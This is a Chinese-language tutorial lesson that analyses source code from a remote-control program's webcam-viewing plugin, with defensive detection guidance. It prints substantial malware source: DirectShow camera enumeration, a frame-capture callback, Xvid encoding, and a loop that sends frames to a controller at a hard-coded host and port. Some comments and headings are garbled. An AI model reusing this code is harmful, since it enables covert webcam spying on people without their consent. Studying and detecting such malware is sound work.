36 / 52 音视频、代理与系统扩展

第 36 课:主插件:视频查看

# 第 36 课:主插件:视频查看

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课围绕 主插件\视频查看 展开。这个模块的核心能力是枚举摄像头、建立 DirectShow 采集链路、从回调里取得图像帧,再把图像数据封装成插件协议发送给主控端。对企业安全工程来说,它属于典型的外设隐私风险面:不只是“有没有网络连接”,还要看进程是否访问摄像头、是否持续生成图像帧、是否在用户无感知的情况下上传视频数据。 本课只从源码理解、防御分析和企业检测角度讲解,不提供任何部署、控制或绕过检测的方法。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 视频查看插件在整体工程中的角色?

  2. CVideoManagerCCaptureVideo 的职责边界?

  3. DirectShow 设备枚举、视频格式设置、SampleGrabber 回调的大致流程?

  4. TOKEN_WEBCAM_BITMAPINFOTOKEN_WEBCAM_DIB 分别代表什么数据?

  5. 为什么摄像头访问、图像编码和持续上行流量需要放在一起检测?

  6. 企业如何从主机、内存、网络和合规角度识别这类风险。

# 2. 源码目录和文件

路径 作用
主插件\视频查看\视频查看.sln 视频查看插件解决方案
主插件\视频查看\视频查看\视频查看.cpp 插件入口、网络连接、管理器创建
主插件\视频查看\视频查看\VideoManager.h CVideoManager 声明、命令枚举、成员变
主插件\视频查看\视频查看\VideoManager.cpp 命令处理、设备列表发送、帧发送、工作线
主插件\视频查看\视频查看\CaptureVideo.h DirectShow 采集类、设备结构、回调结
主插件\视频查看\视频查看\CaptureVideo.cpp 摄像头枚举、采集图构建、SampleGrabber、帧队列
主插件\视频查看\视频查看\XvidEnc.h/.cpp Xvid 编码封装
主插件\视频查看\视频查看\xvid.h Xvid 接口声明
主插件\视频查看\视频查看\Include\qedit.h SampleGrabber 相关接口

依赖说明: 本课涉及 DirectShow、SampleGrabber Xvid。DirectShow 负责枚举摄像头和建立采集 Graph,SampleGrabber 负责把视频帧回调给程序,Xvid 负责图像压缩编码。它们都有合法多媒体用途,但在本项目里与远程命令、摄像头访问、帧队列和网络发送组合出现,应按外设隐私风险处理。 Xvid 是一个 MPEG-4 ASP 视频编码库,常见用途是把原始 RGB/BGR 图像帧压缩成更小的码流,降低存储和传输成本。本工程Xvid 当作摄像头帧压缩器:摄像头帧先进?SampleGrabber 回调,再进入 CXvidEnc::Encode,编码后的字节流进入队列,最后由 CVideoManager::sendNextScreen 封成 TOKEN_WEBCAM_DIB 网络包。需要强调的是:Xvid 库本身不是风险,风险来自“摄像头采集 + 编码压缩 + 未授权外传”的组合。

// 源码位置:主插件\视频查看\视频查看\CaptureVideo.h:10-34
#include <dshow.h>              // DirectShow:枚举设备、构Filter Graph
#include ".\Include\qedit.h"    // ISampleGrabberCB:让程序拿到每一帧视频数#include <amvideo.h>            // VIDEOINFOHEADER、BITMAPINFO 等视频格式结#pragma comment(lib,"Strmiids.lib")
#include "XvidEnc.h"            // 本工程对 Xvid 编码器的轻量封装

#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "xvid_64_d.lib")  // x64 Debug Xvid #else
#pragma comment(lib, "xvid_64_r.lib")  // x64 Release Xvid #endif
#else
#ifdef _DEBUG
#pragma comment(lib, "xvid_32_d.lib")  // x86 Debug Xvid #else
#pragma comment(lib, "xvid_32_r.lib")  // x86 Release Xvid #endif
#endif

// 防御分析:静态检测不能只看到 xvid_*.lib 就定性// 更可靠的判断是:同一进程是否同时出现视频输入设备枚举、SampleGrabber 回调// Xvid 编码器初始化、以及持续向外部连接发送图像数据?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

2. 源码目录和文件(配图)

# 3. 模块在整体工程中的角。

前面几课讲过多个屏幕类插件,它们抓的是桌面或窗口内容;本课的视频查看插件抓的是摄像头内容。两者在工程形态上很像:入口文件连接主控端,连接成功后创建一Manager,Manager 处理命令并持续发送采集数据。 区别在于风险面更敏感。屏幕采集主要暴露屏幕内容,摄像头采集会涉及人脸、办公环境、会议室、屏幕外信息和员工隐私。企业检测不能只问“这个程序是不是远控”,还要问:

观察 为什么重
进程是否访问摄像头设 摄像头是敏感外设,访问行为本身就应该有授权记
是否枚举视频输入设备 枚举 FriendlyName 和分辨率通常是采集前置动
是否使用 DirectShow/SampleGrabber 这是 Windows 上常见的视频采集链路
是否持续产生图像 单次访问和连续帧上传的风险不
是否伴随外联或上行流 外设访问叠加网络外传才是高风险组

# 4. 先看入口:连接成功后创建 CVideoManager

入口文件和其他插件保持一致:准备 plugInfo,创TCP 或 UDP socket,连接成功后实例化对Manager,再进入事件循环。

// 源码位置:主插件\视频查看\视频查看\视频查看.cpp:8-42
// 防御分析注释:入口文件把网络连接和视频管理器绑定在一起// 企业侧看到“陌生进+ 外联 + 摄像头访问”时,应当按高风险组合处理struct plugInfo
{
    char mark[30];          // 标记
    TCHAR szAddress[255];   // 连接地址
    DWORD szPort;           // 连接端口
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("iamasbcx.asuscomm.com"),
    6000,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CVideoManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

新手看这类插件时不要一上来就追图像采集细节,先确认三个问题。

  1. 谁负责网络连接?

  2. 谁负责接收主控命令?

  3. 谁负责访问本机敏感资源。 在本课里,答案分别是 ISocketBaseCVideoManagerCCaptureVideo

# 5. 关键结构和函数位置

文件 结构/函数 大致行号 作用
VideoManager.h 命令枚举 6-13 定义视频相关命令token
VideoManager.cpp CVideoManager::OnReceive 37-63 处理主控命令
VideoManager.cpp sendBITMAPINFO 65-81 发送图像格式和设备列表
VideoManager.cpp sendNextScreen 83-113 发送下一帧图
VideoManager.cpp WorkThread 136-156 初始化、等待对话框、启动采集、循环发
VideoManager.cpp Initialize 160-229 创建设备对象、枚举设备、启动采
CaptureVideo.cpp EnumDevices 109-176 枚举摄像头设备和分辨
CaptureVideo.cpp Start 240-382 构建 DirectShow 采集
CaptureVideo.cpp GetDIB 471-487 从帧队列取数
CaptureVideo.cpp GrabVideoFrames 489-493 打开或关闭采集回
XvidEnc.cpp Open / enc_core 128-251 初始化并调用 Xvid 编码

# 6. CVideoManager 的命令分。

CVideoManager::OnReceive 是主控命令进入视频模块后的第一站。它根据 token 判断是否打开对话框、调整分辨率、开启或关闭压缩。

// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:37-63
// 防御分析注释:这里把网络命令直接转成摄像头动作// 安全监控可以把“收到视频命令”与“摄像头 API 调用”放在同一时间窗关联void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;

    switch (lpBuffer[0])
    {
    case COMMAND_NEXT_CWebCamDlg:
        NotifyDialogIsOpen();
        break;

    case COMMAND_WEBCAM_ENABLECOMPRESS:
        // 原代码这里预留压缩开关逻辑        // 防御侧关注点:图像编码库启用后,上行流量形态可能发生变化        break;

    case COMMAND_WEBCAM_DISABLECOMPRESS:
        InterlockedExchange((LPLONG)&m_bIsCompress, FALSE);
        break;

    case COMMAND_WEBCAM_RESIZE:
        m_SelectedDevice = *((LPDWORD)(lpBuffer + 9));
        ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
        break;

    default:
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

这段代码有两个学习点

学习 解释
命令和敏感动作靠 token 连接 token 本身不敏感,但它触发的设备访问很敏感
分辨率和设备选择来自网络缓冲 防御分析时要关注网络输入是否直接影响本机采集参数

# 7. 工作线程:从初始化到持续发帧

WorkThread 把视频链路串起来:先初始化摄像头,发送设备和图像格式信息,等主控界面打开,再开启采集并循环发送帧。

// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:136-156
// 防御分析注释:持续循sendNextScreen 是摄像头数据外传的核心行为// 如果企业只检测“摄像头打开”而不关联网络上行,会漏掉完整风险链unsigned CVideoManager::WorkThread(LPVOID lparam)
{
    CVideoManager* pThis = (CVideoManager*)lparam;

    // 第一步:初始CCaptureVideo    // Initialize 会枚举摄像头、拼接设备列表,并尝试按默认 320x240 打开设备    // 防御分析:这里会触发摄像头枚举和 DirectShow Graph 创建    if (!pThis->Initialize())
    {
        pThis->Destroy();
        pThis->m_pClient->Disconnect();
        return -1;
    }

    // 第二步:先发BITMAPINFO 和设备列表    // 主控端只有先知道图像格式、设备数量和设备名,后续才能正确显示或切换设备    pThis->sendBITMAPINFO();

    // 第三步:等待主控端摄像头窗口打开    // 这避免插件刚连接就立即开始发帧,但一旦窗口打开,后续会持续发送    pThis->WaitForDialogOpen();

    // 第四步:打开 SampleGrabber 回调开关    // 真实帧数据会CSampleGrabberCB::SampleCB 进入 CCaptureVideo::CamFrameData    pThis->StartCapture();

    while (pThis->m_bIsWorking)
    {
        // 第五步:等待编码队列中的下一帧,封包后发给主控        // 防御分析:持续循环是外设隐私数据外传的核心证据之一        pThis->sendNextScreen();
    }

    pThis->Destroy();
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

这里的“循环发帧”是检测重点。正常视频会议软件也会持续发帧,所以不能只靠行为本身定性,还要结合进程身份、签名、安装来源、用户授权、前台窗口、摄像头指示灯状态和网络目的地。

# 8. 设备枚举:DirectShow 找到摄像。

枚举流程大致是:创建 CaptureGraphBuilder,创SystemDeviceEnum,再通过 CLSID_VideoInputDeviceCategory 枚举视频输入设备。 8. 设备枚举:DirectShow 找到摄像。(配图)

// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:109-176
// 防御分析注释:CLSID_VideoInputDeviceCategory 是摄像头枚举的高价值信号// 结合进程画像和后续网络行为,可以减少误报int CCaptureVideo::EnumDevices(DeviceInfo* head)
{
    if (!head)
        return 0;

    DeviceInfo* ptr = head;
    int id = 0;

    ICaptureGraphBuilder2* pBuilder = NULL;
    ICreateDevEnum* pCreateDevEnum = NULL;
    IBaseFilter* pVCap = NULL;
    IAMStreamConfig* pVSC = NULL;

    HRESULT hr = CoCreateInstance(
        CLSID_CaptureGraphBuilder2,
        NULL,
        CLSCTX_INPROC,
        IID_ICaptureGraphBuilder2,
        (void**)&pBuilder);
    if (hr != NOERROR)
        return -1;

    hr = CoCreateInstance(
        CLSID_SystemDeviceEnum,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ICreateDevEnum,
        (void**)&pCreateDevEnum);
    if (hr != NOERROR)
        return -1;

    CComPtr<IEnumMoniker> pEm;
    hr = pCreateDevEnum->CreateClassEnumerator(
        CLSID_VideoInputDeviceCategory,
        &pEm,
        0);
    if (hr != NOERROR)
        return -1;

    pEm->Reset();

    // 后续逻辑会读FriendlyName,并通过 IAMStreamConfig 获取可用分辨率    // 防御侧不需要复现枚举,只需要识别“枚举摄像头 + 读取设备名”的行为链}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

企业侧可以把这类 API 作为候选信号,但不能单独拉高到严重告警。浏览器、会议软件、录屏软件、虚拟摄像头工具都可能正常枚举摄像头。真正需要关注的是后续是否出现了未经授权的持续采集和外联。

# 9. 采集链路:构DirectShow Graph

CCaptureVideo::Start 负责真正建立采集链路。代码中创建SampleGrabber、NullRenderer,设置视频格式,并把采集流渲染到 Grabber。

// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:240-382
// 防御分析注释:SampleGrabber + NullRenderer 表示程序只想拿到帧数据,
// 不一定要在本机显示预览画面。这对“无界面摄像头采集”很关键HRESULT CCaptureVideo::Start(int iDeviceID, HWND hWnd, int width, int height)
{
    // 1. 创建 Filter Graph CaptureGraphBuilder    // 防御分析:这DirectShow 视频采集链路的起点    HRESULT hr = InitCaptureGraphBuilder();
    if (FAILED(hr))
        return hr;

    // 2. 根据设备编号绑定摄像Filter    // iDeviceID 来自主控端选择或默认值,最终会影响打开哪个摄像头    if (!BindFilter(iDeviceID, &m_pBF))
        return S_FALSE;

    hr = m_pGB->AddFilter(m_pBF, L"Capture Filter");

    // 3. 创建 SampleGrabber    // SampleGrabber 的作用不是显示画面,而是把每一帧交给程序回调处理    hr = CoCreateInstance(
        CLSID_SampleGrabber,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ISampleGrabber,
        (void**)&m_pGrabber);
    if (FAILED(hr))
        return hr;

    // 4. 创建 NullRenderer    // 这意味着 Graph 可以跑起来,但本地不必显示预览窗口    // 防御分析:SampleGrabber + NullRenderer 是“取帧但不显示”的典型形态    hr = CoCreateInstance(
        CLSID_NullRenderer,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_IBaseFilter,
        (LPVOID*)&m_pNullRenderer);
    if (FAILED(hr))
        return hr;

    AM_MEDIA_TYPE mt;
    ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
    mt.majortype = MEDIATYPE_Video;
    mt.subtype = MEDIASUBTYPE_RGB32;

    // 5. 指定输入SampleGrabber 的格式为 RGB32    // 后续 XvidEnc.cpp 中使XVID_CSP_RGBA,与这里RGB32 路径对应    hr = m_pGrabber->SetMediaType(&mt);
    if (FAILED(hr))
        return hr;

    // 6. 设置宽高和帧率    // AvgTimePerFrame = 10000000 / 10,约等于 10 FPS    // 防御分析:帧率、宽高和持续时间会影响网络流量形态    m_pGrabber->SetBufferSamples(FALSE);
    m_pGrabber->SetOneShot(FALSE);

    // 7. 注册回调。参0 表示SampleCB,而不BufferCB    // 后续每一帧会进入 CSampleGrabberCB::SampleCB    m_pGrabber->SetCallback(&mCB, 0);

    // 8. 初始Xvid 编码器    // XVID_GLOBAL_INIT 是全局初始化,Open 创建编码器实例    m_pEnc = new CXvidEnc;
    m_pEnc->AttachCaller(mCB.lWidth, mCB.lHeight, this);
    CXvidEnc::XVID_GLOBAL_INIT();
    m_pEnc->Open();

    m_bIsStarted = true;
    return S_OK;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

这段代码告诉我们三个检测方向:

方向 说明
DirectShow COM 对象 CLSID_SampleGrabberCLSID_NullRendererIAMStreamConfig
图像格式 RGB32、宽高、帧率设置
编码 Xvid 初始化和帧编码行为

# 10. 帧流转:回调、队列、发送。

SampleGrabber 拿到图像后会进入回调,最终进入 GetDIB 队列,再由 CVideoManager::sendNextScreen 组包发送。 10. 帧流转:回调、队列、发送。(配图)

先看 SampleGrabber 回调。SetCallback(&mCB, 0) 选择的是 SampleCB 路径,帧数据会从 IMediaSample 里取出来,再交给 CCaptureVideo::CamFrameData

// 源码位置:主插件\视频查看\视频查看\CaptureVideo.h:175-187
STDMETHODIMP SampleCB(double SampleTime, IMediaSample* pSample)
{
    unsigned char* buffer;

    // DirectShow IMediaSample 中取得当前帧的内存指针
    // 防御分析:这里拿到的是摄像头原始帧,不是网络包,也不是文件内容
    HRESULT hr = pSample->GetPointer((BYTE**)&buffer);
    if (hr != S_OK)
        return S_OK;

    // bGrabVideo CVideoManager::StartCapture 打开    // frame_handler 指向 CCaptureVideo,因此下一步会进入 CamFrameData    if (bGrabVideo && frame_handler)
        frame_handler->CamFrameData(0, buffer, pSample->GetActualDataLength());

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

CamFrameData 并不直接发网络包,它只把当前帧交Xvid 编码器。编码完成后,Xvid 通过回调 PostEncHandler 把压缩结果放入队列。

// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:86-102
void CCaptureVideo::CamFrameData(double dblSampleTime, BYTE* pBuffer, long lBufferSize)
{
    // pBuffer SampleGrabber 给出的当前摄像头帧    // lBufferSize 是帧缓冲大小,源码没有在这里做大小校验    // 防御分析:这里是“摄像头帧进入编码器”的关键点    if (m_pEnc != NULL)
        m_pEnc->Encode(pBuffer);
}

void CCaptureVideo::PostEncHandler(unsigned char* xvid, int key, int xvid_len)
{
    // Xvid 编码结果前面4 字节长度,形成内部队列元素:
    // [0..3]  编码后数据长    // [4..]   Xvid 编码数据
    // 注意:key 标识是否关键帧,但这段源码没有把 key 写入队列    char* pByte = new char[xvid_len + 4];
    memcpy(pByte, &xvid_len, sizeof(int));
    memcpy(pByte + sizeof(int), xvid, xvid_len);

    // m_lpBuf 是编码后帧队列,sendNextScreen 会从这里取下一帧    // 临界区用于避免回调线程和发送线程同时访问队列    EnterCriticalSection(&m_cs);
    m_lpBuf.push_back(pByte);
    LeaveCriticalSection(&m_cs);

    // 唤醒等待队列的发送线程    SetEvent(m_hCaptureEvent);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:471-493
// 防御分析注释:GetDIB 会等待采集事件,并从队列弹出图像帧// 这类“事件等+ 队列取帧 + 网络发送”的组合很适合做行为关联LPBYTE CCaptureVideo::GetDIB()
{
    DWORD dwRet = WaitForSingleObject(m_hCaptureEvent, INFINITE);

    EnterCriticalSection(&m_cs);
    if (m_lpBuf.empty())
    {
        LeaveCriticalSection(&m_cs);
        return NULL;
    }
    else
    {
        LPBYTE pByte = (LPBYTE)(m_lpBuf.front());
        m_lpBuf.pop_front();
        LeaveCriticalSection(&m_cs);
        return pByte;
    }
}

void CCaptureVideo::GrabVideoFrames(BOOL bGrabVideoFrames, CCamFrameHandler* frame_handler)
{
    mCB.frame_handler = frame_handler;
    mCB.bGrabVideo = bGrabVideoFrames;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:83-113
// 防御分析注释:这段代码把摄像头帧封装TOKEN_WEBCAM_DIB 后发送// 注意:原代码在空指针检查前读取 lpDIB,健壮性较差,容易形成异常崩溃点void CVideoManager::sendNextScreen()
{
    LPVOID lpDIB = m_pCapVideo->GetDIB();

    // 更稳妥的写法应先判断 lpDIB 是否为空    // 原代码在这里先把 lpDIB 转成 p_len,再检查空指针    if (lpDIB == NULL)
        return;

    unsigned char* pPos = (unsigned char*)lpDIB;
    int* p_len = (int*)lpDIB;
    int len = *p_len;

    int nHeadLen = 1 + 1 + 4;
    UINT nBufferLen = nHeadLen + len;
    LPBYTE lpBuffer = new BYTE[nBufferLen];
    memset(lpBuffer, 0, nBufferLen);

    // m_fccHandler 在这里被写成固定1324    // 源码没有把它做成标准 FourCC,也没有Xvid keyframe 信息一起发送    // 防御分析:这类自定义字段更适合在协议还原时作为工程指纹    m_fccHandler = 1324;

    // TOKEN_WEBCAM_DIB 表示“视频查看插件的一帧图像数据”    // lpBuffer[1] 标记是否压缩,但源码强制 m_bIsCompress = FALSE    // 实际 payload 来自 Xvid 编码队列,命名和真实内容存在混乱    lpBuffer[0] = TOKEN_WEBCAM_DIB;
    m_bIsCompress = FALSE;
    lpBuffer[1] = m_bIsCompress;
    memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD));

    // pPos + 4 跳过队列里保存的 xvid_len,只发送编码后的帧数据    memcpy(lpBuffer + nHeadLen, pPos + 4, len);

    Send(lpBuffer, len + nHeadLen);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 11. BITMAPINFO 和设备列表为什么先。

sendBITMAPINFO 会把图像格式、设备数量和设备名列表发给主控端。对新手来说,可以把它理解成“先告诉对方画面怎么解释,再发送真正的图像帧”。

// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:65-81
// 防御分析注释:TOKEN_WEBCAM_BITMAPINFO 携带摄像头能力信息// 如果网络侧能还原协议,设备列表和图像token 都是重要线索void CVideoManager::sendBITMAPINFO()
{
    DWORD dwBytesLength =
        1 + sizeof(BITMAPINFO) + sizeof(int) + m_DeviceList.length();

    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    if (lpBuffer == NULL || m_pCapVideo == NULL)
        return;

    lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;

    memcpy(lpBuffer + 1, m_pCapVideo->m_lpbmi, sizeof(BITMAPINFO));
    memcpy(lpBuffer + 1 + sizeof(BITMAPINFO), &m_nDevicesNum, sizeof(int));
    memcpy(
        lpBuffer + 1 + sizeof(BITMAPINFO) + sizeof(int),
        m_DeviceList.c_str(),
        m_DeviceList.length());

    Send(lpBuffer, dwBytesLength);
    delete[] lpBuffer;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

协议视角下,本模块至少有两类关键包:

Token 含义 防御价值
TOKEN_WEBCAM_BITMAPINFO 图像格式和设备列 可辅助判断摄像头链路是否建立
TOKEN_WEBCAM_DIB 单帧图像数据 可辅助判断是否持续外传视频帧

# 12. 编码链路:Xvid 不是问题,组合行为才是问。

Xvid 本身是合法视频编码库,很多老项目都可能使用它。它的职责是把原始图像帧压缩成更小的 MPEG-4 ASP 码流,降低带宽和存储成本。本工程中,Xvid 的位置很明确:它不负责枚举摄像头,也不负责网络发送,只负责把 SampleGrabber 交上来的 RGB32 帧编码成字节流。 12. 编码链路:Xvid 不是问题,组合行为才是问。(配图)

// 源码位置:主插件\视频查看\视频查看\XvidEnc.cpp:128-187,203-251
// 防御分析注释:这里初始化编码器并把摄像头帧转成压缩码流// 企业检测不应把 Xvid 单独定性为恶意,而应结合摄像头访问、SampleGrabber 回调// 编码队列增长、TOKEN_WEBCAM_DIB 发送和外联目的地综合判断bool CXvidEnc::Open()
{
    if (!m_enc_caller)
        return false;

    xvid_enc_create_t xvid_enc_create;
    memset(&xvid_enc_create, 0, sizeof(xvid_enc_create));

    // XVID_VERSION 用于保证头文件和库的结构体版本一致    xvid_enc_create.version = XVID_VERSION;

    // 编码宽高来自 CCaptureVideo::Start 中设置的采集宽高    // 防御分析:宽高越大,CPU 使用率和网络包大小通常越明显    xvid_enc_create.width = m_width;
    xvid_enc_create.height = m_height;

    // profile、帧率、关键帧间隔等属于编码参数    // 本课不讲如何调参,只关注它说明“原始摄像头帧正在进入视频编码器”    xvid_enc_create.profile = XVID_PROFILE_AS_L4;
    xvid_enc_create.fincr = 1;
    xvid_enc_create.fbase = 15;

    // XVID_ENC_CREATE 创建编码器句柄,后续每帧通过这个句柄编码    xvid_encore(NULL, XVID_ENC_CREATE, &xvid_enc_create, NULL);
    m_enc_handle = xvid_enc_create.handle;
    return true;
}

int CXvidEnc::enc_core(unsigned char* image, unsigned char* bitstream, int* key)
{
    xvid_enc_frame_t xvid_enc_frame;
    memset(&xvid_enc_frame, 0, sizeof(xvid_enc_frame));

    xvid_enc_frame.version = XVID_VERSION;

    // bitstream 是输出缓冲区,MAX_ENC_BUF 限制一次编码输出的最大长度    // 防御分析:内存侧可关注固定大小视频码流缓冲和频繁写入    xvid_enc_frame.bitstream = bitstream;
    xvid_enc_frame.length = MAX_ENC_BUF;

    // image 指向 SampleGrabber 交上来的原始帧    xvid_enc_frame.input.plane[0] = image;

    // MY_TEST 路径使用 RGBA,步长为 width * 4    // 对应 CaptureVideo.cpp SampleGrabber 设置RGB32    xvid_enc_frame.input.csp = XVID_CSP_RGBA;
    xvid_enc_frame.input.stride[0] = m_width * 4;

    // Xvid 自动选择帧类型。编码结果是否关键帧out_flags 返回    xvid_enc_frame.type = XVID_TYPE_AUTO;

    int ret = xvid_encore(m_enc_handle, XVID_ENC_ENCODE, &xvid_enc_frame, NULL);

    // key 只在 PostEncHandler 参数中出现,但当前工程没有把它放入网络包    // 这说明本模块更偏“能传就行”的工程实现,而不是完整规范的视频协议    *key = (xvid_enc_frame.out_flags & XVID_KEYFRAME);
    return ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

从防御角度看,Xvid 相关证据可以分三层理解:

层面 证据 解释
静态依 xvid_32_d.libxvid_64_r.libxvid.h 说明工程具备 Xvid 编码能力,但不能单独定
运行行为 XVID_GBL_INITXVID_ENC_CREATEXVID_ENC_ENCODE 说明进程正在初始化并使用编码
组合链路 摄像头枚举、SampleGrabber 回调、Xvid 编码、网络发 这是需要重点告警和复核的隐私风险链

# 13. 风险面拆。

13. 风险面拆。(配图)

风险点 具体表现 企业关注
设备枚举 读取摄像头名称、分辨率 是否为授权软
图像采集 SampleGrabber 持续拿帧 是否有用户可见提
图像缓冲 内存中存在连续图像帧 是否有异常进程保存或转发
网络外传 小到中等大小图像包持续上 目的地、频率、协议是否异
合规隐私 采集员工和办公环境画 是否有授权、告知、留

# 14. 企业检测点

14. 企业检测点(配图)

检测层 建议检测点
主机 进程加载 DirectShow 组件、访问视频输入设备、创建采集线
设备 摄像头开启事件、摄像头指示灯状态、Windows 隐私设置记录
内存 进程内存在连RGB/DIB 帧缓冲、视频编码器上下
网络 摄像头访问后出现持续上行流量、目的地不在白名
进程 可执行文件路径异常、无签名、伪装系统进程、非交互场景访问摄像
关联分析 摄像头枚举、SampleGrabber 回调、图像包发送在同一时间窗口出现

# 15. 误报来源

误报来源 排查方式
视频会议软件 查看进程签名、前台窗口、会议时间、用户操作记
浏览WebRTC 关联浏览器标签、站点权限和摄像头授权提
录屏或直播工 核对安装来源、用户启动记录、输出目的地
虚拟摄像头软 查看驱动和设备名称,确认是否为企业批准组
安防或门禁客户端 核对资产用途和业务负责

# 16. 合法练习:

  1. 在不运行插件的前提下,画出 CVideoManager -> CCaptureVideo -> SampleGrabber -> Send 的调用链?

  2. 基于本课源码,列出三条可以用于企EDR 关联的行为组合?

  3. 对比你熟悉的视频会议软件,说明它和本模块在进程身份、用户授权、网络目的地上的差异?

  4. 阅读 sendNextScreen,指出空指针检查顺序的问题,并写出防御性修复思路?

  5. 设计一条“非白名单进程访问摄像头并持续外联”的检测规则,说明可能的误报来源。

# 17. 本课小结

视频查看插件的主线很清楚:入口连接主控端,CVideoManager 处理命令,CCaptureVideo 枚举并打开摄像头,SampleGrabber 获取帧,Manager 把图像格式和帧数据发回去。 防御时不要只盯某一API。单独的 Xvid、DirectShow 或网络连接都可能是合法行为,真正高风险的是它们在同一进程、同一时间窗内组成了“摄像头访问 + 图像帧处+ 持续外联”的完整链路。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>